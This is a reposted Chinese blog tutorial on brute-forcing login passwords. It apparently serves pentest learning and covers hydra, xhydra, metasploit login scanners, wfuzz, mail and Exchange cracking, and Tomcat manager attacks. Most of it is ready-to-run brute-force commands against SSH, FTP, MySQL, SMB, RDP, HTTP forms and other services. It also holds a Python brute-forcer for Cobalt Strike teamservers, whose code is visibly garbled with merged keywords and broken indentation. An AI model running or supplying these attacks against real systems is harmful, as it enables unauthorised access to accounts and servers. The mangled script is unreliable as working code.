0


Web安全——穷举爆破下篇(仅供学习)

Web安全

一、常见的端口服务穷举

1、hydra 密码穷举工具的使用

hydra 是一个端口穷举服务器的工具

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s]
http[s]-{head|get|post} http[s]-{get|post}-form http-proxy
http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp
oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2
rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s]
smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc
xmpp

使用例子

hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

常用参数说明

hydra [[[-l LOGIN|-L FILE][-p PASS|-P FILE]]|[-C FILE]][-e ns][-o FILE][-t TASKS][-M FILE [-T TASKS]][-w TIME][-f][-s PORT][-S][-vV]
server service[OPT]
-R

继续从上一次进度接着破解

-S

大写,采用 SSL 链接

-s <PORT>

小写,可通过这个参数指定非默认端口

-l <LOGIN>

指定破解的用户,对特定用户破解

-L <FILE>

指定用户名字典

-p <PASS>

小写,指定密码破解,少用,一般是采用密码字典

-P <FILE>

大写,指定密码字典

-e <ns>

可选选项,n:空密码试探,s:使用指定用户和密码试探

-C <FILE>

使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数

-M <FILE>

指定目标列表文件一行一条

-o <FILE>

指定结果输出文件

-f

在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解

-t <TASKS>

同时运行的线程数,默认为 16

-w <TIME>

设置最大超时的时间,单位秒,默认是 30s

-v / -V

显示详细过程

server

目标 ip

service

指定服务名,支持的服务和协议:

telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs
snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak
sip vmauthd firebird ncp afp 等等

OPT
可选项

2、使用 hydra 穷举 ssh 服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描

hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f

ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户

hydra -l root -P password.txt -t1-vV-e ns 192.168.1.104 ssh-o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh-vV-f

在这里插入图片描述

3、使用 hydra 穷举 ftp 服务

hydra ipftp-l 用户名 -P 密码字典 -t 线程(默认 16)-vV 
hydra ipftp-l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp-vV-f

在这里插入图片描述

4、使用 hydra 穷举 mysql 服务

hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16)-vV 
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV-s 端口

5、使用 hydra 穷举 smb 服务

hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV-f

在这里插入图片描述
在这里插入图片描述

6、使用 hydra 穷举 http 服务

hydra -l admin -P 2019_top100.txt -vV-f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

在这里插入图片描述

7、使用 hydra 穷举 pop3 服务

hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f

8、使用 hydra 穷举 rdp 服务

hydra ip rdp -l administrator -P pass.txt -V

9、使用 hydra 穷举 http-proxy 服务

hydra -l admin -P pass.txt http-proxy://10.36.16.18

10、使用 hydra 穷举 imap 服务

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

11、使用 hydra 穷举 telnet 服务

hydra ip telnet -l  用户 -P 密码字典 -t32-s23-e ns -f-V

在这里插入图片描述

二、xhydra 穷举工具破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。终端输入 xhydra 即可使用。
使用 hydra 破解 rdp 服务
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

三、metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块

auxiliary/scanner/ftp/ftp_login 
auxiliary/scanner/ssh/ssh_login 
auxiliary/scanner/telnet/telnet_login 
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/oracle/oracle_login 
auxiliary/scanner/postgres/postgres_login 
auxiliary/scanner/vnc/vnc_login 
auxiliary/scanner/pcanywhere/pcanywhere_login 
auxiliary/scanner/snmp/snmp_login

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

模块的用法
首先启动在终端下启动 msfconsole use 使用 ssh_login 模块
在这里插入图片描述
在这里插入图片描述

use auxiliary/scanner/ssh/ssh_login

show options 查看模块的参数
在这里插入图片描述

RHOSTS 攻击的目标
PASS_FILE 密码字典STOP_ON_SUCCESS 成功破解一个终止THREADS 线程数

set 设置参数

msf5 auxiliary(scanner/ssh/ssh_login)>set PASS_FILE /home/kali/2019_top100.txt PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login)>set RHOSTS 192.168.52.13 RHOSTS =>192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login)>set STOP_ON_SUCCESS true STOP_ON_SUCCESS =>true
msf5 auxiliary(scanner/ssh/ssh_login)>set USERNAME root USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login)> show options

设置好后用 run 或者 exploit 进行攻击
在这里插入图片描述
在这里插入图片描述

四、御剑 RDP 爆破工具的使用

在这里插入图片描述

五、wfuzz 多线程穷举密码

Usage: wfuzz [options]-z payload,params <url> 
Examples:
wfuzz -c-z file,users.txt -z file,pass.txt --sc200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z 
wfuzz -c-z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c-z file,2019_top100.txt --sc302-u http://www.c1moon.com/admin/index.php?action=login -d"user=admin&pw=FUZZ"
wfuzz -c-z file,2019_top100.txt --hc404--hh1549-u http://www.c1moon.com/admin/index.php?action=login -d"user=admin&pw=FUZZ"
wfuzz -c-w    /home/kali/csdnpass.txt --hc404--hh1549-u http://www.c1moon.com/admin/index.php?action=login -d"user=admin&pw=FUZZ"

在这里插入图片描述
在这里插入图片描述

六、邮箱密码的穷举

默认的收发邮件端口信息发邮件 pop3 110 加密 995
收邮件 smtp 25 加密 465

1、企业独立搭建的邮服 用 MailCracker 进行破解

在这里插入图片描述

2、针对 163 qq 这些邮箱用 mail 脚本进行穷举

像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举。
在这里插入图片描述

七、CobaltStrike TeamServer 口令暴力破解

在这里插入图片描述
Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击, 文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。
Cobalt Strike 是由美国 Red Team 开发,官网地址: http://cobaltstrike.com
这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而Cobalt Strike 大家可以理解其为 Armitage 的商业版。
TeamServer 口令暴力破解
然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴力破解,众所周知 Cobalt Strike 的工作方式是以TeamServer 为核心,可多个 Cilent 的 CS(Server Cilent)架构。
启动 teamserver
sudo ./teamserver 192.168.0.102 123456
启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码是 123456 即可登录。
如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其控制。所以说危害是非常大的。

使用 csbuster.py 对 50050 端口进行密码穷举

#!/usr/bin/env python3# -*- coding:gbk -*- import timeimport socket 
import ssl 
import argparse
import concurrent.futures 
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t o-properly-require-a-minimal-python-versi

MIN_PYTHON =(3,3)if sys.version_info < MIN_PYTHON:
    sys.exit("Python %s.%s or later is required.\n"% MIN_PYTHON) 
    parser = argparse.ArgumentParser()
    parser.add_argument("host",help="Teamserver address")     
    parser.add_argument("wordlist", nargs="?",help="Newline-delimited word list file") 
    parser.add_argument("-p", dest="port", default=50050,type=int,help="Teamserver port") 
    parser.add_argument("-t",dest="threads", default=25,type=int,help="Concurrency level") 
        
args = parser.parse_args()#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw- python-socket

classNotConnectedException(Exception):definit(self, message=None, node=None): 
    self.message = message
    self.node = node

classDisconnectedException(Exception):definit(self, message=None, node=None): 
    self.message = message
    self.node = node

classConnector:definit(self): 
    self.sock =None 
    self.ssl_sock =None
    self.ctx = ssl.SSLContext()         
    self.ctx.verify_mode = ssl.CERT_NONE 
    passdefis_connected(self):return self.sock and self.ssl_sock

    defopen(self, hostname, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(10)
        self.ssl_sock = self.ctx.wrap_socket(self.sock)if hostname == socket.gethostname():
            ipaddress = socket.gethostbyname_ex(hostname)[2][0] 
            self.ssl_sock.connect((ipaddress, port))else:
            self.ssl_sock.connect((hostname, port))defclose(self):if self.sock:
            self.sock.close() 
        self.sock =None     
        self.ssl_sock =Nonedefsend(self,buffer):ifnot self.ssl_sock:raise NotConnectedException("Not connected (SSL Socket is null)")
        self.ssl_sock.sendall(buffer)defreceive(self):ifnot self.ssl_sock:raise NotConnectedException("Not connected (SSL Socket is null)")
        received_size =0 
        data_buffer =b""while received_size <4:
            data_in = self.ssl_sock.recv() data_buffer =             
            data_buffer + data_in         
            received_size +=len(data_in)return data_buffer

    defpasswordcheck(password):iflen(password)>0:
            result =None
             conn = Connector()             
             conn.open(args.host, args.port)
            payload    =bytearray(b"\x00\x00\xbe\xef")+len(password).to_bytes(1,"big", signed=True)+bytes(bytes(password,"ascii").ljust(256,b"A"))         
            conn.send(payload)if conn.is_connected(): result = conn.receive()if conn.is_connected(): conn.close()if result ==bytearray(b"\x00\x00\xca\xfe"):return password
            else:returnFalseelseprint("Ignored blank password") 
     passwords =[]if args.wordlist:print("Wordlist: {}".format(args.wordlist)) 
        passwords =open(args.wordlist).read().split("\n")else:print("Wordlist: {}".format("stdin"))for line in sys.stdin:
            passwords.append(line.rstrip())iflen(passwords)>0:print("Word Count: {}".format(len(passwords)))print("Threads: {}".format(args.threads))

        start = time.time()# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
 
        attempts =0
        failures =0with    concurrent.futures.ThreadPoolExecutor(max_workers=args.threads)as executor:
            future_to_check ={executor.submit(passwordcheck, password): password for password in passwords}for future in concurrent.futures.as_completed(future_to_check): 
                password = future_to_check[future]try:
                    data = future.result() 
                    attempts = attempts +1if data:print("Found Password: {}".format(password))except Exception as exc:
                    failures = failures +1print('%r generated an exception: %s'%(password, exc))print("Attempts: {}".format(attempts))print("Failures: {}".format(failures)) 
    finish = time.time()print("Seconds: {:.1f}".format(finish - start))print("Attemps per second: {:.1f}".format((failures + attempts)/(finish - start)))print("Password(s) required")
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t20

在这里插入图片描述
https://www.moonsec.com/archives/3089

八、对 apache-tomcat 服务进行穷举

Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。
在这里插入图片描述
在这里插入图片描述

use scanner/http/tomcat_mgr_login set PASSWORD 设置密码字典
set RPORT 8081 设置端口
set RHOSTS 192.168.52.6
exploit 攻击
在这里插入图片描述

在这里插入图片描述

九、超级弱口令穷举使用

在这里插入图片描述

十、exchange 邮服穷举

ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure


本文转载自: https://blog.csdn.net/weixin_63172698/article/details/132612483
版权归原作者 君衍.⠀ 所有, 如有侵权,请联系我们删除。

“Web安全——穷举爆破下篇(仅供学习)”的评论:

还没有评论